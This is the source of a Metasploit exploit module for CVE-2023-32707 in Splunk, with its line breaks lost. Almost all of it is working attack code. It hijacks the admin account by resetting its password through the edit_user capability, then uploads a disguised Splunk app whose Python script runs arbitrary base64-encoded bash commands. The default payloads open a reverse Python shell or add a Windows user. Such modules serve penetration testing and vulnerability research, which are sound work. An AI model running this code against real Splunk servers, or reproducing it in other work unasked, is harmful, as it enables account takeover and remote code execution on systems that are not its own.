Splunk edit_user Capability Privilege Escalation

### This module requires Metasploit: https://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##class MetasploitModule < Msf::Exploit::Remote  Rank = ExcellentRanking  prepend Msf::Exploit::Remote::AutoCheck  include Msf::Exploit::Remote::HttpClient  attr_accessor :cookie  def initialize(info = {})    super(      update_info(        info,        'Name' => 'Splunk "edit_user" Capability Privilege Escalation',        'Description' => %q{          A low-privileged user who holds a role that has the "edit_user" capability assigned to it          can escalate their privileges to that of the admin user by providing a specially crafted web request.          This is because the "edit_user" capability does not honor the "grantableRoles" setting in the authorize.conf          configuration file, which prevents this scenario from happening.          This exploit abuses this vulnerability to change the admin password and login with it to upload a malicious app achieving RCE.        },        'Author' => [          'Mr Hack (try_to_hack) Santiago Lopez', # discovery          'Heyder Andrade', # metasploit module          'Redway Security <redwaysecurity.com>' # Writeup and PoC        ],        'License' => MSF_LICENSE,        'References' => [          [ 'CVE', '2023-32707' ],          [ 'URL', 'https://advisory.splunk.com/advisories/SVD-2023-0602' ], # Vendor Advisory          [ 'URL', 'https://blog.redwaysecurity.com/2023/09/exploit-cve-2023-32707.html' ], # Writeup          [ 'URL', 'https://github.com/redwaysecurity/CVEs/tree/main/CVE-2023-32707' ] # PoC        ],        'Payload' => {          'Space' => 1024,          'DisableNops' => true        },        'Platform' => %w[linux unix win osx],        'Targets' => [          [            'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Linux',            {              'Arch' => ARCH_CMD,              'Platform' => %w[linux unix],              'DefaultOptions' => {                'PAYLOAD' => 'cmd/unix/reverse_python',                # just to avoid the error because of the clean up: 'error retrieving current directory: getcwd: cannot access parent directories:'                'AutoRunScript' => 'post/multi/general/execute COMMAND=cd $SPLUNK_HOME'              }            }          ],          [            'Splunk < 9.0.5, 8.2.11, and 8.1.14 / Windows',            {              'Arch' => ARCH_CMD,              'Platform' => 'win',              'DefaultOptions' => { 'PAYLOAD' => 'cmd/windows/adduser' }            }          ]        ],        'DefaultTarget' => 0,        'DefaultOptions' => {          'RPORT' => 8000,          'SSL' => true        },        'Notes' => {          'Stability' => [CRASH_SAFE],          'Reliability' => [REPEATABLE_SESSION],          'SideEffects' => [            IOC_IN_LOGS, # requests are logged in the _audit index            # ARTIFACTS_ON_DISK # app is removed in the cleanup method          ]        },        'DisclosureDate' => '2023-06-01'      )    )    register_options(      [        OptString.new('USERNAME', [true, 'The username with "edit_user" role to authenticate as']),        OptString.new('PASSWORD', [true, 'The password for the specified username']),        OptString.new('TARGET_USER', [true, 'The username to change the password for (default: admin)', 'admin']),        OptString.new('TARGET_PASSWORD', [false, 'The new password to set for the admin user (default: random)', Rex::Text.rand_text_alpha(rand(8..12))]),        OptString.new('APP_NAME', [false, 'The name of the app to upload (default: random)', Faker::App.name.downcase.gsub(/(\s|-|_){1,}/, '')])      ]    )    # That depends on finding a strategy to distinguish commands that return output and commands that don't    # register_advanced_options(    #   [    #     OptBool.new('ReturnOutput', [ true, 'Display command output', false ])    #   ]    # )  end  def check    splunk_login(datastore['USERNAME'], datastore['PASSWORD'])    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/splunkd/__raw/services/authentication/users/', datastore['USERNAME']),      'method' => 'GET',      'cookie' => cookie,      'vars_get' => {        'output_mode' => 'json'      }    })    return CheckCode::Unknown('Could not detect the version.') unless res&.code == 200    body = res.get_json_document    version = Rex::Version.new(body['generator']['version'])    return CheckCode::Safe("Detected Splunk version #{version} which is not vulnerable") unless (      (Rex::Version.new('9.0.0') <= version && version < Rex::Version.new('9.0.5')) ||      (Rex::Version.new('8.2.0') <= version && version < Rex::Version.new('8.2.11')) ||      (Rex::Version.new('8.1.0') <= version && version < Rex::Version.new('8.1.14'))    )    print_status("Detected Splunk version #{version} which is vulnerable")    capabilities = body['entry'].first['content']['capabilities']    return CheckCode::Safe("User '#{datastore['USERNAME']}' does not have 'edit_user' capability") unless capabilities.include? 'edit_user'    report_vuln(      host: rhost,      name: name,      refs: references,      info: [version]    )    CheckCode::Vulnerable("User '#{datastore['USERNAME']}' has 'edit_user' capability")  end  def app_name    datastore['APP_NAME']  end  # The cleanup method is removing the app before the session is closed and it is broking the session.  #  def cleanup    return unless session_created?    super    # Destroy job    vprint_status("Cleaning up: destroying job #{@job_id}")    send_request_cgi({      'uri' => normalize_uri('/en-US/splunkd/__raw/services/search/jobs/', job_id),      'method' => 'DELETE',      'cookie' => cookie    })    # Remove app    vprint_status("Cleaning up: removing app #{app_name}")    execute_command("bash -c 'rm -rf $SPLUNK_HOME/etc/apps/#{app_name}'")    send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/debug/refresh'),      'method' => 'POST',      'cookie' => cookie,      'vars_post' => {        'splunk_form_key' => cookies_hash['splunkweb_csrf_token_8000']      }    })  end  def exploit    splunk_change_password(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])    splunk_login(datastore['TARGET_USER'], datastore['TARGET_PASSWORD'])    splunk_upload_app(app_name, datastore['SPLUNK_APP_FILE'])    @job_id = execute_command(payload.encoded, { app_name: app_name })    # TODO: distinguish commands that return output and commands that don't    # fail_with(Failure::ConfigError, 'The payload returns output. Consider to set ReturnOutput to true') if payload.encoded.include? 'return output' && !datastore['ReturnOutput']    # if datastore['ReturnOutput']    #   print_status('Waiting for command output')    #   print_line(splunk_fetch_job_output)    # end  end  def execute_command(cmd, opts = {})    res = send_request_cgi({      'uri' => '/en-US/api/search/jobs',      'method' => 'POST',      'cookie' => cookie,      'headers' =>        {          'X-Requested-With' => 'XMLHttpRequest',          'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000']        },      'vars_post' =>        {          'auto_cancel' => '62',          'status_buckets' => '300',          'output_mode' => 'json',          'search' => "|  #{app_name} #{Rex::Text.encode_base64(cmd)}",          'earliest_time' => '-1@h',          'latest_time' => 'now',          'ui_dispatch_app' => (opts[:app_name]).to_s        }    })    fail_with(Failure::UnexpectedReply, "Unable to execute command. Unexpected reply (HTTP #{res.code})") unless res&.code == 200    body = res.get_json_document    fail_with(Failure::UnexpectedReply, 'Unable to get JOB ID of the command') unless body['data']    body['data']  end  def splunk_helper_extract_token(uri)    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, uri),      'method' => 'GET',      'keep_cookies' => true    })    fail_with(Failure::Unreachable, 'Unable to get token') unless res&.code == 200    "session_id_8000=#{rand_text_numeric(40)}; " << res.get_cookies  end  def splunk_login(username, password)    # gets cval and splunkweb_uid cookies    self.cookie = splunk_helper_extract_token('/en-US/account/login')    # login post, should get back the splunkd_8000 and splunkweb_csrf_token_8000 cookies    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/account/login'),      'method' => 'POST',      'cookie' => cookie,      'vars_post' =>        {          'username' => username,          'password' => password,          'cval' => cookies_hash['cval']        }    })    fail_with(Failure::UnexpectedReply, 'Unable to login') unless res&.code == 200    cookie << " #{res.get_cookies}"  end  def splunk_change_password(username, password)    # due to the AutoCheck mixin and the keep_cookies option, the cookie might be already set    do_login(username, password) unless cookie    print_status("Changing '#{username}' password to #{password}")    res = send_request_cgi({      'uri' => normalize_uri('/en-US/splunkd/__raw/services/authentication/users/', username),      'method' => 'POST',      'headers' => {        'X-Splunk-Form-Key' => cookies_hash['splunkweb_csrf_token_8000'],        'X-Requested-With' => 'XMLHttpRequest'      },      'cookie' => cookie,      'vars_post' => {        'output_mode' => 'json',        'password' => password,        'force-change-pass' => 0,        'locked-out' => 0      }    })    fail_with(Failure::UnexpectedReply, "Unable to change #{username}'s password.") unless res&.code == 200    print_good("Password of the user '#{username}' has been changed to #{password}")    body = res.get_json_document    capabilities = body['entry'].first['content']['capabilities']    fail_with(Failure::BadConfig, "The user '#{username}' does not have 'install_app' capability. You may consider to target other user") unless capabilities.include? 'install_apps'  end  def splunk_upload_app(app_name, _file_name)    res = send_request_cgi({      'uri' => normalize_uri(target_uri.path, '/en-US/manager/appinstall/_upload'),      'method' => 'GET',      'cookie' => cookie    })    fail_with(Failure::UnexpectedReply, 'Unable to get form state') unless res&.code == 200    html = res.get_html_document    print_status("Uploading file #{app_name}")    data = Rex::MIME::Message.new    # fill the hidden fields from the form: state and splunk_form_key    html.at('[id="installform"]').elements.each do |form|      next unless form.attributes['value']      data.add_part(form.attributes['value'].to_s, nil, nil, "form-data; name=\"#{form.attributes['name']}\"")    end    data.add_part('1', nil, nil, 'form-data; name="force"')    data.add_part(splunk_app, 'application/gzip', 'binary', "form-data; name=\"appfile\"; filename=\"#{app_name}.tar.gz\"")    post_data = data.to_s    res = send_request_cgi({      'uri' => '/en-US/manager/appinstall/_upload',      'method' => 'POST',      'cookie' => cookie,      'ctype' => "multipart/form-data; boundary=#{data.bound}",      'data' => post_data    })    fail_with(Failure::Unknown, 'Error uploading App') unless (res&.code == 303 || (res.code == 200 && res.body !~ /There was an error processing the upload/))    print_good("#{app_name} successfully uploaded")  end  # def splunk_fetch_job_output  #   res = send_request_cgi({  #     'uri' => normalize_uri(target_uri.path, "/en-US/splunkd/__raw/servicesNS/#{datastore['TARGET_USER']}/#{app_name}/search/jobs/#{@job_id}/results"),  #     'method' => 'GET',  #     'keep_cookies' => true,  #     'cookie' => cookie,  #     'vars_get' => {  #       'output_mode' => 'json'  #     }  #   })  #   fail_with(Failure::UnexpectedReply, "Unable to get JOB results. Unexpected reply (HTTP #{res.code})") unless res&.code == 200  #   body = res.get_json_document  #   fail_with(Failure::UnexpectedReply, "Splunk reply: #{body['messages'].collect { |h| h['text'] if h['type'] == 'ERROR' }.join('\n')}") if body['results'].empty?  #   Rex::Text.decode_base64(body['results'].first['result'])  # end  def splunk_app    # metadata folder    metadata = <<~EOF      [commands]      export = system    EOF    # default folder    commands_conf = <<~EOF      [#{app_name}]      type = python      filename = #{app_name}.py      local = false      enableheader = false      streaming = false      perf_warn_limit = 0    EOF    app_conf = <<~EOF      [launcher]      author=#{Faker::Name.name}      description=#{Faker::Lorem.sentence}      version=#{Faker::App.version}      [ui]      is_visible = false    EOF    # bin folder    msf_exec_py = <<~EOF      import sys, base64, subprocess      import splunk.Intersplunk      header = ['result']      results = []      try:        proc = subprocess.Popen(['/bin/bash', '-c', base64.b64decode(sys.argv[1]).decode()], stdout=subprocess.PIPE, stderr=subprocess.STDOUT)        output = proc.stdout.read().decode('utf-8')        results.append({'result': base64.b64encode(output.encode('utf-8')).decode('utf-8')})      except Exception as e:        error_msg = f'Error : {str(e)} '        results = splunk.Intersplunk.generateErrorResults(error_msg)      splunk.Intersplunk.outputResults(results, fields=header)    EOF    tarfile = StringIO.new    Rex::Tar::Writer.new tarfile do |tar|      tar.add_file("#{app_name}/metadata/default.meta", 0o644) do |io|        io.write metadata      end      tar.add_file("#{app_name}/default/commands.conf", 0o644) do |io|        io.write commands_conf      end      tar.add_file("#{app_name}/default/app.conf", 0o644) do |io|        io.write app_conf      end      tar.add_file("#{app_name}/bin/#{app_name}.py", 0o644) do |io|        io.write msf_exec_py      end    end    tarfile.rewind    tarfile.close    Rex::Text.gzip(tarfile.string)  end  def cookies_hash    cookie.split(';').each_with_object({}) { |name, h| h[name.split('=').first.strip] = name.split('=').last.strip }  endend